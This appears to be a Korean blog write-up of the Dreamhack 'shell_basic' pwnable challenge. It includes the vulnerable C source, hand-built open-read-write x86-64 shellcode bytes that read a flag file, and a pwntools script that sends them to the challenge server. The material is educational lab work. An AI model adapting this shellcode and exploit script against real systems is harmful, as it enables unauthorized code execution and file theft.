Pwnable 입문하고 처음 푸는 문제이다.
사세하게 설명해보겠다.
먼저 shell_basic.c 코드이다.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
main함수만 봐주면 되는데 shellcode를 stdin으로 읽고 그걸 실행하고 있다.
* stdin : 0, stdout : 1, stderr : 2
그리고 flag의 위치는 /home/shell_basic/flag_name_is_loooooong 이다.
그러므로 저 flag를 읽는 코드를 짜준 후 셸코드를 추출해 드림핵 서버에 전송하면 될 것 같다.
코드는 dreamhack 강의에서 배운 orw.c 코드를 살짝 수정해서 짜주겠다.
https://dreamhack.io/lecture/courses/50
orw.c 원본 코드에서 앞의 파일 이름을 스택에 넣어주는 부분만 바꿔주었다.
/home/shell_basic/flag_name_is_loooooong 를 16진수로 바꿔주고 8바이트씩 리틀엔디안 방식으로 rax에 넣은 후 스택에 push 해줬다.
gcc -o orw2 orw2.c -masm=intel
orw2.c 파일로 저장 후 위 코드로 컴파일 해줬다.
objdump -d orw2
그 다음 objdump 명령어로 셸 코드를 추출해봤다.
objdump는 오브젝트 파일을 덤프하는 명령어로 -d 옵션을 주면 디스어셈블 작업을 한다.
쭉 디스어셈블된 파일에서 필요한 코드는 run_sh함수 부분이므로 이 함수 부분의 셸 코드를 추출하면 된다.
\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05
힘들게 노가다를 뛰면 위와 같이 나온다.
그다음 서버에 넘겨줄 방법으로 nc 명령어도 있지만 여기선 작동이 되지 않는것 같다.
그러므로 python의 pwntools를 이용해 넘겨주었다.
from pwn import *
context.arch = "amd64"
p = remote("host3.dreamhack.games", 23394)
shellcode = b"\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())
먼저 context.arch로 Shellcode 기능을 대상 아키텍처에 맞게 지정한다.
amd64는 흔히 사용하는 x86-64 아키텍처이다.
그다음 remote로 주소를 설정한 다음
shellcode 변수에 셸코드를 담았다.
그다음 shellcode: 가 출력된 후에 보내야 하므로 sendlineafter 함수를 사용해 shellcode를 넘겨주었다.
그다음 서버에서 응답을 받기 위해 p.recv()함수를 통해 응답을 받아왔다.
성공
'Pwnable > DreamHack' 카테고리의 다른 글
[Dreamhack] basic_exploitaion_000 Writeup (2) | 2024.09.06 |
---|